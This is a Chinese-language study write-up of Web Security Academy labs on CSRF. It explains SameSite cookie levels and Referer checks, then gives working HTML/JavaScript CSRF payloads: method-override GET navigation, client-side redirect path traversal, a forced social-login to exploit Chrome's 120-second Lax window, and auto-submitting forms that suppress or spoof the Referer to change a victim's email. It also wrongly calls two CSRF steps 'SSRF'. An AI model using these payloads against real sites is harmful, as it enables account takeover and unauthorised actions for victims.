CSRF 漏洞学习网站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy
CSRF 漏洞:SameSite相关绕过
当浏览器访问服务器时,服务器会在 Cookie 中添加 SameSite 属性来告诉浏览器是否在来自其他网站的请求中允许携带 Cookie。
如果发出 Cookie 的网站没有明确设置 SameSite 属性来限制来自其它网站的请求,那么浏览器自动设置 SameSite=Lax 以防止跨网站访问携带对方服务的 Cookie。
关于同源和同站点的问题,直接贴出 PostSwigger 官方解释:
请求方 | 请求 | 同站点? | 同源? |
---|---|---|---|
https://example.com | https://example.com | 是的 | 是的 |
https://app.example.com | https://intranet.example.com | 是的 | 否:域名不匹配 |
https://example.com | https://example.com:8080 | 是的 | 否:端口不匹配 |
https://example.com | https://example.co.uk | 否:不匹配的 eTLD | 否:域名不匹配 |
https://example.com | http://example.com | 否:不匹配的方案 | 否:不匹配的方案 |
SameSite 工作流程
在 SameSite 机制之前,浏览器针对每个请求都会添加对应网站的 Cookie,不管它是否是来自其他站点,这就导致了常规的 CSRF 携带 Cookie 攻击。SameSite 的工作原理是使浏览器和网站所有者能够限制哪些跨站点请求(如果有)应包含特定 Cookie。如下是 SameSite 等级:
-
Strict:只要请求属于跨站请求,就不携带 Cookie。
-
Lax:如果请求属于跨站请求,满足以下条件可以携带 Cookie:
-
使用 Get 方式发起请求。
-
使用顶级导航发起请求(如地址栏输入和超链接跳转)。
-
-
None:跨站请求携带 Cookie。
开发人员可以手动设置他们网站的 SameSite 级别,例如:
Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict
实验:使用 GET 请求绕过 Lax 限制
使用顶级导航
<script>document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script>
POST 伪装成 GET
这是某些框架的特性,表单声明为 method="POST",但被框架覆盖为 GET 请求,服务器看作 GET 请求,而浏览器认为是 POST 请求。
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"><input type="hidden" name="_method" value="GET"><input type="hidden" name="recipient" value="hacker"><input type="hidden" name="amount" value="1000000"> </form>
payload:
让 POST 请求覆盖 GET 请求,导致浏览器按 GET 请求判断,服务器按 POST 请求处理。
<script>document.location = "https://0a62002903e24ada80554453009a009b.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST"; </script>
总结:探测框架特性,看是否允许方式覆盖。
通过客户端重定向绕过 Strict
如果目标站点存在站内导航的重定向 url,那么 CSRF 将不存在跨域问题。
相当于用户二次访问同一个站点:
-
第一次从钓鱼页面跳转到目标网站。
-
第二次从目标网站重定向到攻击者服务器的受害页面。
-
第三次从攻击者的服务器页面跳转到敏感页面(如:修改邮箱)。
-
成功的原因:浏览器能追踪客户端重定向,当它根据源网站来判断需不需要携带 Cookie 时,浏览器会追踪到重定向之前的网站作为源网站。(注意:要区分跳转和重定向。)
注:以上重定向必须是客户端重定向,如果是服务端重定向,比如说服务端发送了一个 Location 的包给浏览器,浏览器能追踪到最初的请求站点,并检测到他们不是同一个站点。差别如下:
客户端重定向用户中招(通过 HTML 或 js 触发的重定向):
-
用户访问钓鱼页面。
-
用户跳转到受害者网站。(当受害者网站触发重定向时,浏览器仍将受害者网站作为源网站来判断是否跨域)
-
从受害者网站重定向攻击者页面(如修改邮箱)。
-
攻击者页面向受害者网站发送敏感请求。
服务端重定向利用失败(通过 HTTP 进行的重定向):
-
用户访问钓鱼页面。
-
钓鱼页面触发服务端重定向(假设存在)。
-
服务器返回 Location 包。
-
浏览器解析 Location 包,并从钓鱼页面跳转过去。(将钓鱼页面记作源网站,不携带 Cookie)
实验:通过客户端重定向绕过 Strict
当你在某一文章下发表完评论后,会跳转到文章页面:
redirectOnConfirmation = (blogPath) => {setTimeout(() => {const url = new URL(window.location);const postId = url.searchParams.get("postId");window.location = blogPath + '/' + postId;}, 3000); }
访问:https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=8 重定向后的 url = blogPath + '/' + postId 其中: blogpath = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post postId = 8 重定向后的 url = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/8 如果篡改 postId = ../my-account,访问如下url: https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account 会跳转到登录页面:
payload:
<script>document.location = "https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=wiener%40pwned.net%26submit=1"; </script>
注:要 URL 编码 & 分隔符,防止一开始就被解析。
实验:使用新发布的 Cookie 绕过 SameSite Lax 限制
绕过场景:服务器没有设置 Cookie 的 SameSite 属性,导致默认 Lax。
Chrome 为了避免破坏单点登录(SSO)机制,不会在前 120 秒内对顶级请求实施这些限制。
攻击者需要让用户重新生成 Cookie,以获取这 2 分钟的窗口期进行攻击。
使用如下 poc 放在攻击者服务器上:
<script>history.pushState('', '', '/') </script> <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="foo@bar.com" /><input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit(); </script>
当你在登录后的 2 分钟之内访问它,发现 poc 能成功生效,如下图修改邮箱成功。
如果用户登录超过两分钟,那么诱使用户访问其他页面重新获取 Cookie 后,再访问敏感操作页面(如修改邮箱)。
<form method="POST" action="https://0a9e00760433327180ac357700ea0078.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="pwned@web-security-academy.net"> </form> <script>window.open('https://0a9e00760433327180ac357700ea0078.web-security-academy.net/social-login');setTimeout(changeEmail, 5000); function changeEmail(){document.forms[0].submit();} </script>
触发目标网站的 OAuth 登录流程:
-
用户已登录目标网站,但 SSO 提供商会重新颁发会话(例如,OAuth 流程每次生成新会话)。
-
第一次 SSRF:攻击者诱导用户重新完成 OAuth 登录,生成新 Cookie。(window.open 新标签不受 Lax 限制)
-
第二次 SSRF:新 Cookie 进入 2 分钟窗口期,此时可绕过 Lax 限制。
重点,攻击者能通过 CSRF 让用户重新获取 Session。
基于 Referer 的 CSRF 防御
Referer 用于服务器获取请求页面的来源页面的 URL,如果服务器发现 Referer 头不合法,那么判定用户正在遭受钓鱼攻击。
常规的检测手法,检测 Referer 头是否是本域。
绕过手段:
-
宽松的 Referer 验证逻辑:攻击者控制 attacker.com/example.com,此时 Referer 为 attacker.com/example.com。
-
Referer 标头的删除导致服务器不验证来源。
实验:Referer 标头的删除导致服务器不验证来源
payload:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><!-- 包含以下 HTML 以禁止 referrer --><meta name="referrer" content="no-referrer"><body><form action="https://0aa0007c0387e677806e032d00d8004d.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener@pwned-user.net" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body> </html>
实验:宽松的 Referer 验证逻辑
那就在 HTML 钓鱼页面加上:
<meta name="referrer" content="unsafe-url"> <!-- 防止添加的东西被过滤 --><!-- history.pushState 用于在浏览器历史记录中添加一条新的记录,同时改变当前的 URL,但不会触发页面的刷新。-->history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")<!-- 更新历史 url,添加上这个参数 -->
完整 payload:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><meta name="referrer" content="unsafe-url"><body><form action="https://0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener@pwned-user.net" /><input type="submit" value="Submit request" /></form><script>history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")document.forms[0].submit();</script></body> </html>